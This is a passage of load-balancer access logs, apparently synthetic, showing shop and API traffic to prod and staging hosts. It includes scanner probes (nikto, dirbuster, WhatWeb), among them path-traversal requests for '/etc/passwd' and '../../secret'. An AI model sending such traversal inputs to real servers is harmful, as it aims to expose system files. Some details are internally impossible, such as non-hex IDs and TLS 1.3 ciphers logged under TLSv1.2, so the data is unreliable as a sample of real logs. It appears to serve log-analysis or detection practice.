172.118.120.200:37419 10.0.170.136:443 0.017014 0.049175 0.090632 301 301 636 12359 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c138-b66f81563e134f22ab140c0f" "prod-web-alb.example.com" "-" 6 2024-11-01T00:41:12.387813Z "forward" "-" "-" "10.0.170.136:443" "301" "-" "-" +https 2024-11-01T00:41:13.792087Z prod-api-alb 240.133.80.242:29774 10.0.255.50:443 0.085500 0.192305 0.050488 200 200 442 8108 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c139-91bd380acef740daa7cc7b10" "prod-api-alb.example.com" "-" 6 2024-11-01T00:41:13.792087Z "forward" "-" "-" "10.0.255.50:443" "200" "-" "-" +https 2024-11-01T00:41:14.848835Z prod-api-alb 77.67.89.216:49158 10.0.231.36:443 0.081638 0.414114 0.078794 200 200 647 2128 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c13a-cb25e6df95424e718941c39e" "prod-api-alb.example.com" "-" 7 2024-11-01T00:41:14.848835Z "forward" "-" "-" "10.0.231.36:443" "200" "-" "-" +https 2024-11-01T00:41:15.391756Z prod-api-alb 161.143.182.98:13179 10.0.225.164:443 0.090039 0.428534 0.043666 200 200 265 4653 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c13b-1d76588603eb424d9184c854" "prod-api-alb.example.com" "-" 9 2024-11-01T00:41:15.391756Z "forward" "-" "-" "10.0.225.164:443" "200" "-" "-" +https 2024-11-01T00:41:16.790501Z prod-api-alb 192.65.3.9:42362 10.0.6.182:443 0.026324 0.210023 0.098762 200 200 677 6275 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c13c-82cf6f8d08b7452b92400b99" "prod-api-alb.example.com" "-" 8 2024-11-01T00:41:16.790501Z "forward" "-" "-" "10.0.6.182:443" "200" "-" "-" +https 2024-11-01T00:41:17.889420Z prod-web-alb 210.35.11.218:52526 10.0.202.173:443 0.051581 0.203274 0.080079 200 200 90 7455 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c13d-addd05c4a5b944db9b3e97f8" "prod-web-alb.example.com" "-" 4 2024-11-01T00:41:17.889420Z "forward" "-" "-" "10.0.202.173:443" "200" "-" "-" +http 2024-11-01T00:41:19.570425Z staging-alb 104.59.170.211:46110 80.72.138.64:443 0.133582 0.722825 0.011342 404 404 510 2207 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c13f-73189ddd738d46b2aff69efd" "staging-alb.example.com" "-" 10 2024-11-01T00:41:19.570425Z "forward" "-" "-" "80.72.138.64:443" "404" "-" "-" +https 2024-11-01T00:41:19.810204Z prod-web-alb 185.38.246.1:34723 10.0.50.108:443 0.046245 0.194866 0.004342 200 200 708 5526 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c13f-50e1700ca7554fd39e49e3d7" "prod-web-alb.example.com" "-" 6 2024-11-01T00:41:19.810204Z "forward" "-" "-" "10.0.50.108:443" "200" "-" "-" +https 2024-11-01T00:41:21.602963Z prod-api-alb 45.155.205.157:55277 10.0.172.91:443 0.019575 0.205780 0.028173 403 403 438 11184 "GET /static/../../secret HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c141-d87ad795ed3a4df1a04bcc5c" "-" "-" 3 2024-11-01T00:41:21.602963Z "forward" "-" "-" "10.0.172.91:443" "403" "-" "-" +https 2024-11-01T00:41:21.748387Z prod-web-alb 219.22.13.98:61567 10.0.191.143:443 0.039777 0.111249 0.049678 301 301 497 13660 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c141-2ed7acb7f9cc4d469b541eac" "prod-web-alb.example.com" "-" 5 2024-11-01T00:41:21.748387Z "forward" "-" "-" "10.0.191.143:443" "301" "-" "-" +https 2024-11-01T00:41:23.661293Z prod-web-alb 45.222.99.120:21635 10.0.210.212:443 0.027730 0.092142 0.001744 200 200 163 11841 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c143-4b75e9212a1d48b7a541636e" "prod-web-alb.example.com" "-" 1 2024-11-01T00:41:23.661293Z "forward" "-" "-" "10.0.210.212:443" "200" "-" "-" +https 2024-11-01T00:41:24.077983Z prod-api-alb 138.34.206.163:61485 10.0.49.229:443 0.088520 0.055568 0.059784 200 200 275 13851 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c144-5dcb23d0496f455987c79550" "prod-api-alb.example.com" "-" 8 2024-11-01T00:41:24.077983Z "forward" "-" "-" "10.0.49.229:443" "200" "-" "-" +https 2024-11-01T00:41:24.263937Z prod-api-alb 187.193.159.34:54880 10.0.250.241:443 0.058729 0.385549 0.025382 301 301 481 5447 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c144-e4fb35bf4d304ad6ad4864c0" "prod-api-alb.example.com" "-" 8 2024-11-01T00:41:24.263937Z "forward" "-" "-" "10.0.250.241:443" "301" "-" "-" +http 2024-11-01T00:41:25.530145Z staging-alb 5.118.74.132:59092 170.236.202.4:443 0.067442 0.313807 0.135595 200 200 914 12194 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c145-a5b08dbcfffb44e3b014b79a" "staging-alb.example.com" "-" 5 2024-11-01T00:41:25.530145Z "forward" "-" "-" "170.236.202.4:443" "200" "-" "-" +http 2024-11-01T00:41:25.957041Z staging-alb 222.79.45.208:56550 205.244.69.76:80 0.109268 0.645137 0.014571 404 404 520 11323 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c145-c63aa70676f44b3eb94eebe1" "staging-alb.example.com" "-" 5 2024-11-01T00:41:25.957041Z "forward" "-" "-" "205.244.69.76:80" "404" "-" "-" +https 2024-11-01T00:41:26.340726Z staging-alb 109.57.193.117:40282 42.248.10.178:80 0.129546 0.738466 0.010424 302 302 547 2845 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c146-2d4f42278153406993c573f7" "staging-alb.example.com" "-" 7 2024-11-01T00:41:26.340726Z "forward" "-" "-" "42.248.10.178:80" "302" "-" "-" +https 2024-11-01T00:41:28.200907Z prod-web-alb 214.25.124.238:28359 10.0.179.24:443 0.021632 0.161329 0.005431 200 200 845 7488 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c148-4f79715268374191bad911c9" "prod-web-alb.example.com" "-" 4 2024-11-01T00:41:28.200907Z "forward" "-" "-" "10.0.179.24:443" "200" "-" "-" +https 2024-11-01T00:41:29.113343Z prod-api-alb 8.197.170.139:49905 10.0.22.154:443 0.087543 0.489206 0.049205 200 200 747 737 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c149-73ce622d217c4466b87e8a1e" "prod-api-alb.example.com" "-" 3 2024-11-01T00:41:29.113343Z "forward" "-" "-" "10.0.22.154:443" "200" "-" "-" +http 2024-11-01T00:41:30.943226Z staging-alb 220.195.86.204:59269 167.84.244.47:8080 0.068794 0.240338 0.063159 301 301 1 9601 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c14a-1727d9859afd4083a0ff7632" "staging-alb.example.com" "-" 8 2024-11-01T00:41:30.943226Z "forward" "-" "-" "167.84.244.47:8080" "301" "-" "-" +https 2024-11-01T00:41:31.152127Z prod-api-alb 192.145.138.175:38475 10.0.71.177:443 0.076219 0.430095 0.028421 404 404 306 10911 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c14b-9945385fa19f45d7be186442" "prod-api-alb.example.com" "-" 6 2024-11-01T00:41:31.152127Z "forward" "-" "-" "10.0.71.177:443" "404" "-" "-" +https 2024-11-01T00:41:32.013083Z prod-web-alb 174.121.199.14:48105 10.0.125.63:443 0.012735 0.339167 0.008327 200 200 286 14636 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c14c-5c9d7f785fa643148e2524bd" "prod-web-alb.example.com" "-" 0 2024-11-01T00:41:32.013083Z "forward" "-" "-" "10.0.125.63:443" "200" "-" "-" +https 2024-11-01T00:41:33.940876Z staging-alb 200.100.207.79:55619 202.180.96.117:8080 0.064374 0.675953 0.093391 200 200 960 4953 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c14d-7e93bf37d06b41d0a96f190e" "staging-alb.example.com" "-" 6 2024-11-01T00:41:33.940876Z "forward" "-" "-" "202.180.96.117:8080" "200" "-" "-" +https 2024-11-01T00:41:34.605810Z prod-api-alb 14.96.20.201:43363 10.0.203.138:443 0.031540 0.459352 0.025173 200 200 748 3857 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c14e-ef29b17544624459a0dede32" "prod-api-alb.example.com" "-" 7 2024-11-01T00:41:34.605810Z "forward" "-" "-" "10.0.203.138:443" "200" "-" "-" +https 2024-11-01T00:41:35.332939Z prod-web-alb 149.118.171.249:15513 10.0.236.196:443 0.084914 0.479352 0.055345 301 301 334 5999 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c14f-2bb5fbbd82e846f6b1b03ae4" "prod-web-alb.example.com" "-" 4 2024-11-01T00:41:35.332939Z "forward" "-" "-" "10.0.236.196:443" "301" "-" "-" +https 2024-11-01T00:41:36.166392Z prod-web-alb 179.50.234.245:51501 10.0.159.147:443 0.047507 0.409929 0.054159 302 302 31 3486 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c150-3c3fad4b61ea47ca85fd1372" "prod-web-alb.example.com" "-" 0 2024-11-01T00:41:36.166392Z "forward" "-" "-" "10.0.159.147:443" "302" "-" "-" +http 2024-11-01T00:41:37.649913Z staging-alb 71.220.106.125:64120 183.0.47.119:443 0.056664 0.167760 0.050337 302 302 850 11502 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c151-714a747b12a94c53bb88c101" "staging-alb.example.com" "-" 8 2024-11-01T00:41:37.649913Z "forward" "-" "-" "183.0.47.119:443" "302" "-" "-" +https 2024-11-01T00:41:38.358634Z prod-web-alb 185.181.68.44:15277 10.0.213.123:443 0.012484 0.090655 0.036912 404 404 884 9845 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c152-fb537e30f6fd4ab1a6ccd32b" "-" "-" 3 2024-11-01T00:41:38.358634Z "forward" "-" "-" "10.0.213.123:443" "404" "-" "-" +https 2024-11-01T00:41:39.224197Z prod-web-alb 229.212.199.130:18496 10.0.100.115:443 0.022235 0.281806 0.076770 301 301 657 11910 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c153-45cfd4c5c73e487d8f5b2641" "prod-web-alb.example.com" "-" 3 2024-11-01T00:41:39.224197Z "forward" "-" "-" "10.0.100.115:443" "301" "-" "-" +https 2024-11-01T00:41:39.975603Z prod-web-alb 28.190.48.201:32876 10.0.147.89:443 0.061929 0.428124 0.016573 200 200 191 5091 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c153-e07b828e08474f9bbc56bd2e" "prod-web-alb.example.com" "-" 0 2024-11-01T00:41:39.975603Z "forward" "-" "-" "10.0.147.89:443" "200" "-" "-" +http 2024-11-01T00:41:40.288804Z staging-alb 40.56.31.230:43867 2.127.82.235:80 0.098714 0.706409 0.023332 200 200 104 8345 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c154-2b0aab7dbe2d4d4ba4c368e2" "staging-alb.example.com" "-" 10 2024-11-01T00:41:40.288804Z "forward" "-" "-" "2.127.82.235:80" "200" "-" "-" +https 2024-11-01T00:41:41.179052Z prod-web-alb 52.216.252.76:14623 10.0.118.87:443 0.030819 0.017760 0.066937 200 200 490 6233 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c155-cd00ce3dd07a474c94f79912" "prod-web-alb.example.com" "-" 0 2024-11-01T00:41:41.179052Z "forward" "-" "-" "10.0.118.87:443" "200" "-" "-" +https 2024-11-01T00:41:42.877436Z staging-alb 164.66.151.242:61836 36.177.1.250:80 0.146155 0.045292 0.031329 200 200 37 7405 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c156-584385f222474f34a7874a9f" "staging-alb.example.com" "-" 10 2024-11-01T00:41:42.877436Z "forward" "-" "-" "36.177.1.250:80" "200" "-" "-" +https 2024-11-01T00:41:43.914183Z prod-api-alb 164.78.74.88:12339 10.0.21.53:443 0.093838 0.274930 0.084858 200 200 379 11693 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c157-c423a577235c4b89b610f90a" "prod-api-alb.example.com" "-" 7 2024-11-01T00:41:43.914183Z "forward" "-" "-" "10.0.21.53:443" "200" "-" "-" +http 2024-11-01T00:41:45.235056Z staging-alb 166.23.226.231:25959 33.242.187.69:80 0.104664 0.247047 0.039164 302 302 264 9663 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c159-e7785048b4094d04b8d37eb8" "staging-alb.example.com" "-" 10 2024-11-01T00:41:45.235056Z "forward" "-" "-" "33.242.187.69:80" "302" "-" "-" +https 2024-11-01T00:41:46.731119Z prod-api-alb 185.181.125.99:35068 10.0.145.43:443 0.031213 0.483305 0.012307 403 403 636 14542 "POST /metrics HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c15a-33662a00ed75469591813693" "-" "-" 2 2024-11-01T00:41:46.731119Z "forward" "-" "-" "10.0.145.43:443" "403" "-" "-" +https 2024-11-01T00:41:46.856886Z prod-api-alb 119.36.56.43:23208 10.0.41.62:443 0.063891 0.468006 0.084776 200 200 189 1259 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c15a-8818dd612d0d48118def5d95" "prod-api-alb.example.com" "-" 4 2024-11-01T00:41:46.856886Z "forward" "-" "-" "10.0.41.62:443" "200" "-" "-" +https 2024-11-01T00:41:48.339720Z prod-web-alb 26.100.203.8:40937 10.0.21.49:443 0.002227 0.419474 0.008970 301 301 673 5522 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c15c-8471bed05696457a917f1847" "prod-web-alb.example.com" "-" 2 2024-11-01T00:41:48.339720Z "forward" "-" "-" "10.0.21.49:443" "301" "-" "-" +http 2024-11-01T00:41:49.340768Z staging-alb 62.147.254.247:46854 191.252.49.21:80 0.022948 0.087996 0.021828 200 200 904 7080 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c15d-db81bdd67cee4753a5f1b1c7" "staging-alb.example.com" "-" 5 2024-11-01T00:41:49.340768Z "forward" "-" "-" "191.252.49.21:80" "200" "-" "-" +http 2024-11-01T00:41:50.831147Z staging-alb 80.8.140.145:34600 126.44.104.183:8080 0.001889 0.431854 0.137451 404 404 530 5519 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c15e-bac19d07173940bb96bd362c" "staging-alb.example.com" "-" 8 2024-11-01T00:41:50.831147Z "forward" "-" "-" "126.44.104.183:8080" "404" "-" "-" +http 2024-11-01T00:41:51.847199Z staging-alb 235.68.112.18:64206 39.145.248.50:443 0.080708 0.159920 0.008425 200 200 777 12791 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c15f-b5b5f3d1fcf047d09fe1a45e" "staging-alb.example.com" "-" 10 2024-11-01T00:41:51.847199Z "forward" "-" "-" "39.145.248.50:443" "200" "-" "-" +https 2024-11-01T00:41:52.941088Z prod-web-alb 89.152.201.141:27080 10.0.251.53:443 0.001179 0.276742 0.053147 404 404 614 9238 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c160-9921175e57914a56bee5d37b" "prod-web-alb.example.com" "-" 5 2024-11-01T00:41:52.941088Z "forward" "-" "-" "10.0.251.53:443" "404" "-" "-" +https 2024-11-01T00:41:53.050965Z prod-web-alb 103.247.154.186:15359 10.0.77.52:443 0.045512 0.216919 0.085659 200 200 974 11384 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c161-07d21b68f4314e91bdd16f39" "prod-web-alb.example.com" "-" 9 2024-11-01T00:41:53.050965Z "forward" "-" "-" "10.0.77.52:443" "200" "-" "-" +https 2024-11-01T00:41:53.425383Z prod-api-alb 114.114.141.194:20382 10.0.166.185:443 0.090082 0.334583 0.025233 302 302 795 8879 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c161-408bf2bb10cf4969bb24c25d" "prod-api-alb.example.com" "-" 8 2024-11-01T00:41:53.425383Z "forward" "-" "-" "10.0.166.185:443" "302" "-" "-" +https 2024-11-01T00:41:55.005904Z prod-web-alb 62.255.239.22:64960 10.0.155.8:443 0.031603 0.211405 0.044558 404 404 853 14893 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c163-16939d82cc684f3cb968102d" "prod-web-alb.example.com" "-" 6 2024-11-01T00:41:55.005904Z "forward" "-" "-" "10.0.155.8:443" "404" "-" "-" +https 2024-11-01T00:41:56.098785Z prod-web-alb 153.194.94.31:44019 10.0.191.53:443 0.008727 0.429946 0.007302 200 200 934 12159 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c164-7f41650dff944021b6e333bc" "prod-web-alb.example.com" "-" 4 2024-11-01T00:41:56.098785Z "forward" "-" "-" "10.0.191.53:443" "200" "-" "-" +https 2024-11-01T00:41:56.441325Z prod-api-alb 8.222.81.135:40084 10.0.161.49:443 0.093384 0.435312 0.018571 302 302 147 3454 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c164-7f4cae2a0a774f46ab9e5793" "prod-api-alb.example.com" "-" 7 2024-11-01T00:41:56.441325Z "forward" "-" "-" "10.0.161.49:443" "302" "-" "-" +http 2024-11-01T00:41:58.330573Z staging-alb 249.123.152.183:25809 35.190.13.25:443 0.054810 0.024883 0.087727 200 200 190 9360 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c166-11e8ed0588384339b765a5f1" "staging-alb.example.com" "-" 3 2024-11-01T00:41:58.330573Z "forward" "-" "-" "35.190.13.25:443" "200" "-" "-" +https 2024-11-01T00:41:59.339559Z prod-api-alb 